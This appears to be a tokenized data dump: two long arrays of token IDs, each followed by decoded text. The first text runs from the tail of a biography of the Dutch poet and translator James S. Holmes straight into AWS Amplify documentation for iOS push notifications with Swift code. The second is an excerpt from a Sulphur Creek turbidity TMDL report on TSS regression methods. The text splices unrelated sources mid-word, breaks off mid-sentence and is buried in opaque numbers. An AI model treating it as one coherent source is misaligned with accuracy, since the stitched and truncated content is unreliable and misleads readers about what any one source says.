8169, 2197, 432, 253, 8217, 313, 2088, 19450, 10, 285, 5559, 313, 39, 5883, 16, 40, 5883, 10, 13498, 15, 380, 3052, 6644, 49809, 48593, 16376, 634, 7450, 19313, 31446, 970, 544, 38859, 23466, 3659, 880, 2413, 1358, 13880, 15, 11345, 15, 32687, 15, 681, 16, 9852, 3659, 16, 35261, 16, 16714, 1326, 86, 504, 16, 481, 187, 1394, 476, 671, 2794, 10550, 23466, 3659, 18120, 326, 13898, 2608, 3879, 281, 7450, 390, 643, 4948, 273, 29908, 15, 187, 187, 817, 6618, 5863, 5402, 8247, 423, 187, 187, 4118, 5729, 1844, 47091, 187, 187, 18, 15, 25426, 253, 544, 3633, 11075, 264, 880, 21785, 5478, 16, 5478, 15, 6535, 10, 5018, 1078, 368, 4262, 15, 187, 187, 18, 15, 1623, 1594, 3211, 13, 762, 253, 2303, 13, 3609, 346, 11212, 272, 708, 8040, 6720, 995, 1056, 2119, 253, 2634, 18099, 15108, 5425, 65, 310, 4451, 15, 10338, 2119, 2634, 40531, 5372, 8722, 15428, 65, 310, 11410, 285, 634, 19126, 13722, 2285, 310, 6777, 15, 187, 187, 18, 15, 48823, 275, 253, 2813, 285, 1056, 2119, 352, 310, 9856, 285, 627, 403, 642, 6332, 327, 436, 3239, 8332, 272, 253, 6222, 15, 187, 187, 18, 15, 15682, 327, 2634, 12, 8040, 1430, 11976, 285, 823, 2634, 37331, 50002, 65, 285, 2634, 15633, 353, 3180, 16433, 1198, 2634, 15633, 353, 3180, 11976, 452, 2634, 32842, 30584, 65, 10141, 15, 187, 187, 4118, 18952, 14, 1615, 14, 10539, 187, 187, 18, 15, 6618, 598, 247, 747, 3052, 6644, 2199, 13, 368, 476, 17049, 436, 3213, 604, 368, 403, 970, 271, 5368, 581, 27, 535, 50274, 11202, 187, 50274, 312, 6644, 2012, 187, 50274, 11202, 187, 187, 18, 15, 5733, 31140, 281, 634, 622, 281, 1581, 12958, 285, 440, 42996, 456, 4212, 281, 5007, 31140, 3394, 27, 535, 50274, 11202, 187, 50274, 312, 6644, 823, 31140, 187, 50274, 11202, 187, 187, 18, 15, 1294, 4694, 253, 31446, 27, 535, 50274, 11202, 187, 50274, 312, 6644, 7450, 187, 50274, 11202, 187, 187, 817, 29562, 281, 5402, 8247, 423, 187, 187, 11244, 253, 1563, 5018, 281, 4684, 7450, 19313, 31446, 3238, 281, 634, 622, 15, 187, 187, 18, 15, 5733, 253, 1563, 43701, 281, 634, 2634, 20411, 3140, 38416, 535, 50274, 11202, 26176, 187, 50274, 7831, 1163, 8, 58, 11862, 14, 18137, 14, 9536, 8, 513, 187, 50272, 2327, 64, 6301, 4896, 2, 187, 50272, 29871, 50276, 8, 24564, 4350, 249, 3659, 8, 187, 50272, 29871, 50276, 8, 24564, 6955, 4252, 8975, 8, 187, 50274, 423, 187, 50274, 11202, 535, 50274, 12965, 2634, 29871, 3334, 1969, 38589, 14, 11183, 65, 1078, 368, 4035, 15, 187, 187, 18, 15, 7489, 253, 2634, 15, 10587, 4896, 4511, 65, 1873, 15, 187, 187, 18, 15, 10338, 2119, 253, 2199, 4428, 253, 2634, 11345, 24693, 15, 8456, 65, 1873, 285, 352, 310, 2879, 281, 1594, 3211, 313, 1615, 32126, 352, 275, 342, 2634, 12557, 347, 3058, 65, 10141, 481, 733, 943, 320, 4561, 672, 368, 544, 1178, 598, 634, 31446, 1084, 1178, 14, 484, 14, 12550, 14, 43890, 481, 187, 187, 18, 15, 10338, 2119, 253, 622, 21168, 15, 187, 187, 18, 15, 5733, 253, 1563, 1395, 7234, 281, 634, 2051, 23757, 1873, 27, 535, 50274, 11202, 36036, 187, 50274, 2948, 11447, 3650, 6787, 187, 50274, 2948, 32368, 4350, 249, 3659, 187, 50274, 11202, 187, 187, 18, 15, 496, 253, 2634, 2946, 23757, 65, 1873, 13, 3304, 44308, 13259, 10107, 27, 14958, 48082, 41803, 272, 3378, 10976, 37731, 65, 880, 3614, 1358, 35654, 15, 19934, 15, 681, 16, 37442, 16, 86, 1479, 262, 16, 86, 571, 377, 5688, 43663, 16, 1036, 17107, 1797, 14, 13259, 582, 26641, 271, 44308, 24564, 4350, 249, 3659, 65, 880, 3614, 1358, 11345, 14, 312, 6644, 15, 7280, 15, 900, 16, 11345, 14, 30872, 14, 3783, 16, 13880, 16, 14005, 16, 24564, 4350, 249, 3659, 16, 27290, 16, 24564, 4350, 249, 3659, 15, 2974, 10, 4227, 285, 8749, 323, 7450, 30584, 432, 253, 2608, 15, 2091, 253, 622, 6613, 13, 253, 2608, 588, 320, 8959, 342, 247, 30771, 281, 1581, 30584, 15, 844, 5583, 368, 2748, 323, 26239, 432, 253, 2608, 1309, 622, 20500, 13, 594, 634, 4212, 476, 3135, 6883, 30584, 347, 2393, 347, 1896, 15, 535, 50274, 11202, 36036, 187, 50274, 2437, 2051, 23757, 27, 12693, 23450, 9631, 13, 12693, 12332, 23757, 551, 187, 50270, 2044, 45661, 27, 32368, 4350, 249, 3659, 32, 535, 50270, 4997, 2898, 9, 187, 50266, 21712, 12693, 12332, 13, 187, 50266, 14958, 48082, 41803, 272, 3378, 10976, 8027, 10976, 27, 544, 9571, 12332, 41803, 10976, 4814, 27, 6101, 62, 32, 187, 50270, 10, 5204, 46328, 551, 187, 50266, 605, 41337, 4513, 23466, 3659, 187, 50266, 1059, 45661, 11909, 426, 32368, 4350, 249, 3659, 11909, 187, 50262, 15, 6986, 34585, 3659, 11909, 9, 20476, 10976, 27, 8027, 10976, 10, 187, 50266, 605, 6618, 13844, 4438, 281, 897, 4097, 4883, 7537, 3364, 13, 1056, 2119, 281, 34831, 323, 634, 3275, 622, 187, 50266, 9852, 3659, 11909, 15, 13125, 426, 2032, 187, 50266, 9852, 3659, 426, 32368, 4350, 249, 3659, 9, 24693, 27, 45661, 11909, 10, 535, 50266, 605, 23952, 253, 2608, 342, 247, 2748, 281, 37015, 7450, 30584, 187, 50266, 15905, 2214, 37331, 3650, 6787, 1082, 535, 50266, 2309, 2032, 187, 50270, 94, 535, 50270, 605, 45375, 27, 36978, 50002, 3082, 535, 50270, 4997, 8749, 2214, 37331, 3650, 6787, 1082, 551, 187, 50266, 4037, 6989, 27193, 21972, 15, 6259, 1082, 187, 50262, 15, 9629, 14897, 1320, 9, 10121, 27, 544, 15, 26544, 13, 964, 27962, 13, 964, 14367, 463, 3291, 551, 544, 20881, 1881, 62, 7169, 13, 795, 275, 187, 50258, 3845, 1587, 38247, 7169, 27, 24829, 737, 9581, 10, 2807, 187, 50258, 18625, 7169, 2010, 551, 1091, 748, 535, 50258, 605, 7214, 755, 253, 19313, 7533, 604, 2608, 556, 7169, 15607, 187, 50258, 1286, 29006, 788, 27193, 16704, 1082, 187, 50262, 94, 187, 50270, 94, 535, 50270, 4997, 755, 27193, 16704, 1082, 551, 187, 50266, 4037, 6989, 27193, 21972, 15, 6259, 5023, 788, 27193, 16704, 551, 7533, 275, 187, 50262, 3845, 1587, 27193, 7533, 27, 24829, 17494, 10, 2807, 187, 50262, 18625, 7533, 15, 7582, 1320, 9505, 2295, 964, 24463, 2010, 551, 1091, 748, 535, 50262, 48010, 19878, 15, 7265, 15, 27216, 551, 187, 50258, 605, 13106, 342, 8217, 36978, 50002, 2579, 187, 50258, 9571, 12332, 15, 18867, 15, 15905, 2214, 32842, 3650, 6787, 1082, 187, 50262, 94, 187, 50266, 94, 187, 50270, 94, 187, 50274, 94, 187, 50274, 11202, 535, 50274, 13325, 2119, 253, 622, 21168, 13, 6613, 285, 49887, 253, 2608, 323, 19313, 26239, 15, 187, 187, 18, 15, 5733, 253, 2051, 23757, 3082, 281, 8028, 327, 253, 1067, 12270, 432, 44308, 9571, 12332, 15, 18867, 15, 15905, 2214, 32842, 3650, 6787, 42702, 880, 3614, 1358, 35654, 15, 19934, 15, 681, 16, 37442, 16, 86, 1479, 262, 16, 86, 571, 377, 5688, 16, 1036, 17569, 3141, 14, 15905, 1542, 2013, 302, 257, 302, 6787, 481, 22660, 44308, 13259, 10107, 27, 14958, 16601, 2214, 32842, 3650, 6787, 3378, 15982, 11200, 37731, 65, 880, 3614, 1358, 35654, 15, 19934, 15, 681, 16, 37442, 16, 86, 1479, 262, 16, 86, 571, 377, 5688, 43663, 16, 1036, 1423 ]	ism. He found it extremely liberating to be able to show that part of his personality to the audience, and especially to obtain recognition and approval from it. Holmes loved to display his sexual orientation, not only in his poetry, but especially in his outfits and accessory choice. In the last years of his life he created the character that we see in the picture on this page: a middle-aged man with short white-as-snow hair, jeans with a studded waist, studded bracelets, a pink triangle on the flap of his jacket, a large handful of keys attached to the jeans, and the tip of a pink handkerchief sticking out of the back pocket. This same sexual freedom was, probably, the cause of his premature death caused by AIDS. However, Holmes was aware of the dangers linked to his extravagant lifestyle, and openly declared that they had never, in any way, influenced his choices in life. During his memorial, which was crowded, his life partner and great love Hans van Marle concluded his farewell speech with a short excerpt of the famous "Meditation XVII" of Devotions Upon Emergent Occasions, a metaphysical piece written in 1624 by John Donne, of which Ernest Hemingway, in 1940, extracted the title of his famous novel For Whom The Bell Tolls:'No man is an island entire of itself; every man is a piece of the continent, a part of the main; (...) any man's death diminishes me, because I am involved in mankind. And therefore never send to know for whom the bell tolls; it tolls for thee. ' Selected bibliography Poetry Jim Holmes, Nine Hidebound Rimes. Poems 1977 (Amsterdam, 1978). Jacob Lowland, The Gay Stud's Guide to Amsterdam and Other Sonnets (Amsterdam, 1978; second edition 1980). Jacob Lowland, Billy and the Banquet (Amsterdam, 1982). James S. Holmes, Early Verse 1947-1957 (Amsterdam/New York, 1985). Poetry translation Martinus Nijhoff, Awater. A Long Poem, With a Comment on Poetry in Period of Crisis (Amsterdam, 1992). Paul Snoek and Willem M. Roggeman (editor), A Quarter Century of Poetry from Belgium (Flemish Volume) (Bruxelles/L'Aja, 1970). Peter Glasgold (ed.), Living Space (New York, 1979). Lawrence Ferlinghetti and Scott Rollins (editor), Nine Dutch Poets (San Francisco, 1982). James S. Holmes and William Jay Smith (editor), Dutch Interior. Postwar Poetry from the Netherlands and Flanders (New York, 1984). Many translations in magazines such as: Modern Poetry in Translation (Monographical issue on the Netherlands 27/28, 1976) Delta Atlantic Carcanet Chelsea Review Poetry Quarterly Scientific works and articles James S. Holmes et al. (editor), The Nature of Translation. Essays on the Theory and Practice of Literary Translation (L'Aja/Bratislava, 1970). James S. Holmes et al. (editor), Literature and Translation. New Perspectives in Literary Studies (Leuven, 1978). James S. Holmes, Translated!. Papers on Literary Translation and Translation Studies (Amsterdam, 1988). References External links Site of the Digitale Bibliotheek voor de Nederlandse Letteren (DBNL) Digital Library of Dutch Literature Category:1986 deaths Category:1924 births Category:20th-century Dutch poets Category:20th-century Dutch male writers Category:Dutch translators Category:Dutch–English translators Category:Gay writers Category:LGBT writers from the Netherlands Category:LGBT writers from the United States Category:LGBT people from Iowa Category:American emigrants to the Netherlands Category:Dutch male poets Category:20th-century translators Category:Translation scholars Category:Gay academicsEnable your users to receive mobile push messages sent from the Apple (APNs) and Google (FCM/GCM) platforms. The Amplify CLI deploys your push notification backend using [Amazon Pinpoint](http://docs.aws.amazon.com/pinpoint/latest/developerguide/). You can also create Amazon Pinpoint campaigns that tie user behavior to push or other forms of messaging. ## Set Up Your Backend ### Prerequisites 1. Complete the [Get Started](~/start/start.md) steps before you proceed. 1. On Xcode, under the target, select "Signing & Capabilities", make sure the `Bundle Identifier` is unique. Make sure `Automatically manage signing` is enabled and your apple developer team is chosen. 1. Plug in the device and make sure it is registered and there are no errors on this page provisioning the profile. 1. Click on `+ Capability`, and add `Push Notification` and `Background Modes`. For `Background Modes`, have `Remote notifications` checked. ### Step-by-step 1. Set up a new Amplify project, you can skip this step if you are using an existing one: ``` amplify init ``` 1. Add analytics to your app to allow guests and unauthenticated users to send analytics events: ``` amplify add analytics ``` 1. Provision the backend: ``` amplify push ``` ## Connect to Your Backend Use the following steps to connect push notification backend services to your app. 1. Add the following pods to your `Podfile`: ```ruby target :'YOUR-APP-NAME' do use_frameworks! pod 'AWSPinpoint' pod 'AWSMobileClient' end ``` Run `pod install --repo-update` before you continue. 1. Open the `.xcworkspace` file. 1. Make sure the project contains the `awsconfiguration.json` file and it is added to Xcode (by dragging it in with `copy as needed` checked). It should be generated when you [set up your backend](#set-up-your-backend). 1. Make sure the app builds. 1. Add the following import statements to your AppDelegate file: ```swift import UserNotifications import AWSPinpoint ``` 1. In the `AppDelegate` file, inside [`application(_:didFinishLaunchingWithOptions:)`](https://developer.apple.com/documentation/uikit/uiapplicationdelegate/1622921-application), initialize an [`AWSPinpoint`](https://aws-amplify.github.io/aws-sdk-ios/docs/reference/AWSPinpoint/Classes/AWSPinpoint.html) instance and register for push notifications from the user. When the app runs, the user will be prompt with a modal to allow notifications. We recommend you request for authorization from the user during app startup, so your users can begin receiving notifications as early as possible. ```swift class AppDelegate: UIResponder, UIApplicationDelegate { var pinpoint: AWSPinpoint? func application( _: UIApplication, didFinishLaunchingWithOptions launchOptions: [UIApplicationLaunchOptionsKey: Any]? ) -> Bool { // Instantiate Pinpoint let pinpointConfiguration = AWSPinpointConfiguration .defaultPinpointConfiguration(launchOptions: launchOptions) // Set debug mode to use APNS sandbox, make sure to toggle for your production app pinpointConfiguration.debug = true pinpoint = AWSPinpoint(configuration: pinpointConfiguration) // Present the user with a request to authorize push notifications registerForPushNotifications() return true } // MARK: Push Notification methods func registerForPushNotifications() { UNUserNotificationCenter.current() .requestAuthorization(options: [.alert,.sound,.badge]) { [weak self] granted, _ in print("Permission granted: \(granted)") guard granted else { return } // Only get the notification settings if user has granted permissions self?.getNotificationSettings() } } func getNotificationSettings() { UNUserNotificationCenter.current().getNotificationSettings { settings in print("Notification settings: \(settings)") guard settings.authorizationStatus ==.authorized else { return } DispatchQueue.main.async { // Register with Apple Push Notification service UIApplication.shared.registerForRemoteNotifications() } } } } ``` Make sure the app builds, runs and prompts the user for notification authorization. 1. Add the AppDelegate methods to listen on the callbacks from [`UIApplication.shared.registerForRemoteNotifications()`](https://developer.apple.com/documentation/uikit/uiapplication/1623078-registerforremotenotifications). Either [`application(_:didRegisterForRemoteNotificationsWithDeviceToken:)`](https://developer.apple.com/documentation/uikit/uiapplicationdelegate/1622
[ 30001, 15, 187, 21, 15, 18, 29739, 1699, 247, 6201, 28442, 17661, 187, 1449, 330, 6764, 13, 3015, 11246, 15, 19, 9, 18, 582, 3054, 326, 18426, 6721, 84, 476, 320, 4469, 275, 2426, 273, 2280, 591, 673, 13, 187, 15595, 5755, 13, 390, 643, 4569, 5593, 15, 308, 4063, 14283, 310, 247, 7744, 4080, 15301, 273, 253, 187, 84, 30233, 33785, 3301, 275, 17795, 15, 1723, 13, 11868, 14283, 310, 271, 5748, 2867, 273, 1824, 13, 285, 187, 48942, 11715, 273, 1708, 407, 14116, 33785, 285, 3007, 16080, 2647, 15, 1916, 1287, 18426, 6721, 84, 13, 247, 187, 12158, 35079, 313, 14611, 14, 3169, 10, 2557, 273, 33785, 10935, 310, 2424, 281, 3890, 16665, 15, 1707, 310, 2223, 187, 66, 2266, 2954, 875, 253, 2264, 14116, 33785, 4719, 285, 11868, 14283, 15, 3813, 13, 187, 783, 308, 3528, 3301, 13, 534, 310, 4469, 347, 2280, 591, 673, 13, 310, 908, 347, 247, 35701, 323, 11868, 14283, 285, 187, 4762, 5957, 253, 4869, 581, 14, 1201, 3301, 253, 5542, 476, 26030, 47602, 1223, 1335, 863, 1776, 253, 411, 39610, 15, 187, 1992, 3653, 253, 2954, 875, 11868, 14283, 285, 308, 3528, 13, 247, 4872, 9077, 875, 308, 3528, 187, 395, 11868, 14283, 369, 3715, 970, 941, 5728, 432, 10226, 281, 5215, 387, 581, 4660, 1561, 253, 187, 24053, 14564, 15, 13036, 281, 6684, 253, 9077, 253, 1563, 5018, 497, 2668, 281, 39494, 253, 187, 42429, 27, 187, 44467, 2193, 281, 23339, 2149, 941, 313, 74, 15, 70, 904, 4080, 6299, 2406, 685, 253, 16101, 187, 17149, 3535, 2701, 285, 13, 3021, 13, 2361, 347, 1679, 685, 253, 2677, 3535, 2701, 481, 1198, 1650, 13, 187, 5302, 898, 15, 1525, 281, 8171, 3530, 2361, 347, 773, 29, 740, 38904, 187, 9063, 33621, 941, 327, 253, 1388, 672, 3530, 497, 5728, 285, 327, 253, 2045, 767, 187, 11015, 15, 1310, 627, 369, 247, 1534, 33621, 2362, 313, 30189, 337, 15, 17, 16416, 10, 275, 667, 273, 841, 1897, 13, 253, 187, 16848, 588, 320, 10432, 432, 9077, 1783, 342, 581, 6517, 15, 1310, 253, 1534, 187, 1949, 12615, 4592, 327, 253, 10491, 1388, 285, 253, 11868, 14283, 4361, 369, 1679, 685, 2030, 20483, 8484, 187, 9, 14674, 273, 11868, 14283, 2629, 323, 17795, 582, 253, 3410, 588, 417, 320, 10432, 432, 1783, 187, 12157, 954, 2779, 253, 33621, 5866, 846, 253, 3410, 369, 2668, 28, 187, 21605, 941, 5728, 762, 1029, 2685, 2515, 27433, 253, 2613, 14, 5449, 17705, 15, 187, 1552, 2097, 326, 6341, 3969, 281, 2685, 8268, 593, 11383, 2406, 187, 14644, 2030, 6, 497, 417, 908, 275, 253, 9077, 28, 285, 187, 6800, 14, 16702, 1097, 11868, 14283, 285, 308, 3528, 941, 281, 15338, 2538, 273, 616, 1327, 14, 8172, 941, 187, 8155, 8303, 15, 187, 52, 335, 545, 321, 16611, 18426, 6721, 23557, 43584, 285, 13277, 187, 29003, 29526, 4063, 14283, 18426, 6721, 36375, 545, 321, 16611, 15, 7152, 89, 577, 14, 19, 36121, 1556, 187, 20266, 4267, 187, 3039, 9826, 1878, 19325, 9077, 313, 3271, 52, 10, 310, 3732, 281, 24228, 253, 1682, 2954, 187, 17352, 767, 4903, 313, 74, 15, 70, 904, 1594, 285, 714, 582, 581, 4778, 313, 58, 10, 310, 2783, 773, 6820, 668, 327, 253, 643, 187, 18645, 313, 57, 582, 533, 1594, 1364, 320, 2783, 773, 17777, 668, 273, 253, 643, 13, 285, 1929, 1293, 187, 30238, 420, 2228, 15, 473, 7858, 46926, 253, 3910, 13, 390, 42435, 13, 875, 4080, 714, 2193, 187, 395, 714, 2193, 8131, 1754, 327, 253, 1594, 4778, 15, 187, 2214, 1655, 6378, 13, 247, 2954, 310, 3309, 281, 3283, 308, 3528, 6299, 432, 187, 44657, 11868, 14283, 2193, 13, 533, 671, 281, 16497, 253, 308, 3528, 14, 3169, 18426, 6721, 896, 281, 275, 14, 4963, 187, 85, 4063, 14283, 2193, 15, 1198, 436, 4096, 13, 271, 17958, 9077, 13532, 5199, 1929, 347, 253, 1386, 273, 187, 23589, 5921, 313, 21766, 10, 369, 3732, 15, 380, 35378, 556, 1264, 11361, 689, 473, 7858, 313, 41, 1241, 293, 285, 187, 41, 343, 10629, 6752, 2262, 187, 21766, 46926, 14662, 42435, 275, 1097, 253, 1594, 285, 714, 10746, 28, 187, 1147, 3400, 247, 4451, 1682, 14, 8491, 1386, 10159, 273, 534, 4764, 310, 908, 347, 253, 187, 17777, 4778, 28, 285, 187, 5785, 1256, 14, 71, 2166, 2193, 452, 253, 1072, 11041, 347, 253, 3236, 941, 15, 187, 510, 35378, 46926, 253, 3672, 273, 253, 987, 30102, 4447, 407, 11593, 285, 9118, 3104, 187, 21584, 432, 7313, 281, 253, 14662, 1386, 15, 380, 14679, 273, 253, 35378, 1386, 18207, 253, 17856, 187, 10722, 273, 253, 714, 327, 1594, 313, 53, 3528, 327, 11868, 14283, 10, 285, 1594, 327, 714, 313, 85, 4063, 14283, 327, 308, 3528, 10, 473, 7858, 28677, 13, 285, 310, 187, 1179, 32001, 347, 27, 187, 89, 187, 90, 187, 84, 187, 84, 187, 78, 18, 278, 278, 8, 861, 60, 83, 62, 187, 2811, 278, 18, 310, 253, 14679, 273, 253, 35378, 1386, 13, 278, 310, 253, 308, 3528, 327, 11868, 14283, 473, 7858, 14679, 13, 278, 457, 310, 253, 11868, 14283, 187, 251, 308, 3528, 473, 7858, 14679, 13, 391, 310, 253, 308, 3528, 14, 85, 4063, 14283, 5921, 10235, 13, 726, 310, 253, 2629, 11254, 273, 187, 783, 308, 3528, 6341, 13, 285, 256, 89, 310, 253, 2629, 11254, 273, 253, 11868, 14283, 6341, 15, 187, 510, 22548, 273, 253, 35378, 313, 67, 18, 10, 310, 9674, 1119, 407, 13532, 253, 1386, 342, 253, 35378, 14679, 187, 10489, 253, 1127, 313, 10722, 11868, 14283, 13, 1599, 308, 3528, 481, 380, 5921, 875, 308, 3528, 285, 11868, 14283, 13, 187, 28694, 342, 253, 35378, 285, 253, 473, 7858, 3104, 403, 2011, 275, 5317, 577, 14, 18, 15, 187, 52, 335, 545, 321, 16611, 18426, 6721, 23557, 43584, 285, 13277, 187, 29003, 29526, 4063, 14283, 18426, 6721, 36375, 545, 321, 16611, 15, 7152, 89, 577, 14, 20, 36121, 1556, 187, 20266, 4267, 187, 2841, 577, 14, 18, 29682, 3667, 1256, 323, 308, 3528, 14, 53, 4063, 14283, 762, 11760, 14, 5449, 34116, 323, 187, 52, 335, 545, 321, 16611, 313, 10249, 577, 12971, 5831, 29728, 64, 361, 10, 187, 510, 12650, 5230, 1599, 6278, 2228, 313, 10189, 46, 2354, 10, 285, 416, 14, 15044, 313, 51, 19, 10, 497, 908, 347, 253, 187, 21423, 5593, 273, 23190, 14, 1171, 14, 8491, 15, 1284, 2011, 275, 5317, 577, 14, 18, 13, 253, 35378, 11026, 247, 15132, 46, 2354, 1318, 187, 1171, 1638, 15, 26, 534, 2097, 253, 5230, 1599, 6278, 2228, 313, 26889, 2354, 10, 310, 1638, 15, 26, 6, 273, 253, 3388, 273, 253, 187, 44657, 308, 3528, 2193, 15, 380, 416, 14, 15044, 313, 51, 19, 10, 1318, 6492, 253, 6919, 273, 253, 2264, 11041, 275, 187, 53, 3528, 390, 11868, 14283, 7313, 326, 310, 5544, 407, 253, 35378, 15, 187, 1147, 369, 4879, 326, 627, 497, 247, 1643, 42559, 326, 33916, 39284, 4833, 327, 253, 9077, 187, 46397, 15, 2053, 42559, 497, 3636, 407, 9433, 253, 44384, 457, 84, 14423, 14095, 1332, 187, 9, 37675, 2364, 14960, 10, 281, 253, 10895, 273, 253, 13849, 432, 2540, 2792, 281, 253, 9077, 1386, 15, 380, 187, 37675, 2364, 8378, 310, 1754, 327, 253, 734, 42899, 2491, 313, 34914, 582, 253, 3064, 875, 253, 6879, 394, 187, 25250, 587, 313, 50, 20, 10, 285, 2030, 394, 36384, 313, 50, 18, 10, 273, 13849, 875, 2540, 2792, 285, 253, 35378, 15, 187, 11888, 253, 44384, 1332, 13, 667, 1127, 342, 271, 2228, 3687, 685, 1165, 20, 559, 337, 15, 22, 11, 309, 18787, 390, 1679, 685, 1165, 18, 1108, 187, 18, 15, 22, 11, 34914, 369, 3636, 347, 271, 562, 3623, 285, 5176, 432, 253, 9077, 10895, 15, 380, 1840, 187, 1747, 37761, 497, 5118, 970, 253, 10895, 342, 42559, 5176, 15, 187, 510, 44384, 8378, 310, 6425, 281, 970, 1264, 2069, 253, 2629, 11254, 281, 4271, 187, 483, 19139, 604, 253, 42435, 313, 45912, 428, 8131, 10, 956, 247, 2622, 3268, 15, 380, 5912, 273, 187, 48027, 1543, 1146, 1561, 1264, 2629, 21492, 273, 253, 1599, 310, 8688, 15, 3655, 6, 1223, 253, 187, 22275, 1430, 323, 253, 44384, 8378, 310, 8688, 15, 2082, 7739, 1310, 1264, 2069, 253, 2629, 11254, 310, 908, 281, 187, 888, 1419, 42559, 13, 352, 310, 3309, 281, 806, 6583, 326, 253, 42435, 403, 6296, 9403, 187, 45618, 15, 831, 310, 2834, 281, 513, 984, 273, 253, 1979, 7364, 273, 253, 5368, 11868, 14283, 708, 187, 53, 3528, 10895, 15, 44384, 457, 84, 1332, 1057, 417, 10725, 327, 667, 9376, 670, 253, 3268, 273, 253, 187, 40512, 780, 84, 15, 733, 476, 320, 908, 10159, 273, 253, 5281, 273, 3268, 15, 187, 11888, 253, 9077, 5150, 2011, 275, 5317, 577, 14, 18, 13, 247, 11868, 14283, 1318, 273, 2456, 20483, 54, 313, 15291, 187, 40812, 281, 36375, 545, 321, 16611, 10, 10140, 281, 247, 308, 3528, 4719, 273, 4562, 15, 21, 5770, 16, 45, 15, 187, 18, 187, 740, 187, 2313, 187, 9138, 187, 18, 884, 2233, 9098, 187, 53, 3528, 313, 7913, 16, 45, 10, 187, 53, 4063, 14283, 313, 6369, 54, 10, 187, 2808, 9, 53, 3528, 10, 426, 470, 15, 24, 27222, 11, 2808, 9, 53, 4063, 10, 559, 187, 17, 15, 1348, 2511, 187, 52, 335, 545, 321, 16611, 18426, 6721, 23557, 43584, 285, 13277, 187, 29003, 29526, 4063, 14283, 18426, 6721, 36375, 545, 321, 16611, 15, 7152, 89, 577, 14, 21, 36121, 1556, 187, 20266, 4267, 187, 21, 15, 19, 6915, 16676, 42334, 11579, 1634, 281, 20148, 18426, 6721, 84, 187, 510, 18426, 6721, 10426, 3559, 275, 436, 1304, 403, 6012, 432, 3301, 7467, 9191, 187, 9, 45, 9151, 481, 20060, 6072, 12454, 5233, 2440, 273, 18426, 6721, 84, 13, 285, 347, 247, 18426, 6721, 2440, 4968, 13, 187, 527, 9038, 1880, 38691, 403, 2330, 342, 1127, 390, 1327, 3659, 4973, 15, 380, 7681, 187, 6772, 607, 323, 970, 20060, 6072, 323, 18426, 6721, 2440, 3797, 253, 1740, 1563, 5018, 2529, 187, 249, 4974, 21454, 577, 15, 20, 949, 577, 15, 21, 2708, 27, 187, 7420, 48434, 2685, 7467, 9191, 323, 305, 2961, 285, 440, 72, 2961, 411, 50, 46, 10988, 28, 187, 46218, 839, 10935, 275, 253, 6883, 1824, 970, 4080, 308, 3528, 1824, 3290, 941, 285, 187, 85, 4063, 14283, 14, 585, 13083, 941, 28, 187, 44607, 1699, 253, 4583, 2558, 5141, 4736, 313, 3175, 40, 10, 3309, 281, 20685, 411, 39610, 28, 285, 187, 32086, 1037, 13, 275, 6684, 18972, 1909, 323, 39917, 432, 1127, 4973, 13, 352, 369, 35629, 281, 187, 19417, 366, 247, 4619, 1698, 2685, 1617, 313, 70, 15, 72, 904, 818, 50, 19, 10, 387, 534, 253, 4869, 32588, 10935, 187, 4238, 5118, 15, 1284, 1824, 3290, 4323, 6031, 11848, 275, 7990, 281, 36878, 187, 12025, 1327, 3659, 4973, 273, 17432, 285, 2710, 3510, 273, 39917, 13, 352, 3395, 2590, 326, 436, 187, 20199, 4619, 1698, 2685, 1617, 369, 18766, 281, 5416, 10599, 1824, 3290, 2439, 247, 187, 6324, 273, 2685, 2515, 15, 7890, 273, 253, 418, 9151, 691, 6584, 684, 253, 878, 281, 3653, 247, 2216, 9902, 390, 187, 16191, 2685, 15969, 7726, 342, 534, 281, 17710, 253, 4569, 2685, 1268, 323, 253, 187, 515, 18114, 273, 4619, 2515, 15, 1198, 1824, 67, 4550, 27857, 407, 1097, 1127, 285, 1327, 3659, 187, 33491, 13, 253, 773, 4160, 3659, 2603, 4619, 1617, 668, 651, 5431, 2826, 1309, 1029, 14221, 13, 672, 187, 1949, 12615, 1408, 2727, 651, 8162, 253, 10713, 273, 253, 33076, 386, 3301, 13, 1223, 253, 773, 3659, 2603, 4619, 187, 12380, 668, 651, 5431, 2826, 1309, 1698, 14221, 13, 672, 1127, 2603, 48246, 651, 187, 3335, 4024, 253, 2613, 2685, 273, 253, 15506, 1824, 15, 1723, 13, 2685, 2491, 310, 760, 247, 2087, 15301, 187, 1171, 253, 4103, 8394, 273, 1127, 16, 4160, 3659, 9021, 15, 733, 310, 417, 908, 275, 436, 1304, 281, 187, 17149, 1419, 1127, 2603, 390, 1327, 3659, 2603, 9021, 15, 27398, 569, 326, 2826, 1309, 1698, 14221, 187, 11159, 417, 320, 4269, 14288, 407, 1127, 4973, 15, 27398, 569, 452, 644, 4879, 275, 690, 187, 48920, 742, 84, 326, 3831, 642, 1127, 4973, 15, 187, 9803, 6072, 3148, 253, 4869, 1581, 494, 3301, 689, 253, 3426, 2491, 273, 2685, 2515, 407, 187, 66, 1386, 970, 253, 10272, 273, 2685, 31458, 407, 253, 1824, 3290, 17705, 15, 380, 18426, 6721, 476, 320, 187, 34849, 347, 247, 5415, 1159, 273, 2685, 13 ]	MOS. 4.1 Determining a Surrogate Target 40 CFR, §130.2(1), states that TMDLs can be expressed in terms of mass per time, toxicity, or other appropriate measures. Turbidity is a commonly measured indicator of the suspended solids load in streams. However, turbidity is an optical property of water, and measures scattering of light by suspended solids and colloidal matter. To develop TMDLs, a gravimetric (mass-based) measure of solids loading is required to express loads. There is often a strong relationship between the total suspended solids concentration and turbidity. Therefore, the TSS load, which is expressed as mass per time, is used as a surrogate for turbidity and represents the maximum one-day load the stream can assimilate while still attaining the WQS. To determine the relationship between turbidity and TSS, a linear regression between TSS and turbidity was developed using data collected from 1991 to 2007 at one station within the Study Area. Prior to developing the regression the following steps were taken to refine the dataset: Assign values to censored data (i.e., measured concentrations lower than the analytical quantitation limit and, thus, reported as less than the quantitation limit). For example, using 9.99 to replace samples reported as “<10”; Check rainfall data on the day when samples were collected and on the previous two days. If there was a significant rainfall event (>= 1.0 inch) in any of these days, the sample will be excluded from regression analysis with one exception. If the significant rainfall happened on the sampling day and the turbidity reading was less than 25 NTUs (half of turbidity standard for streams), the sample will not be excluded from analysis because most likely the rainfall occurred after the sample was taken; Remove data collected under high flow conditions exceeding the base-flow criterion. This means that measurements corresponding to flow exceedance frequencies lower than 25% were not used in the regression; and Log-transform both turbidity and TSS data to minimize effects of their non-linear data distributions. Sulphur Creek TMDL Technical Approach and Methods FINALTurbidity TMDL Sulphur Creek.docx 4-2 FINAL August 2010 When ordinary least squares regression (OLS) is applied to ascertain 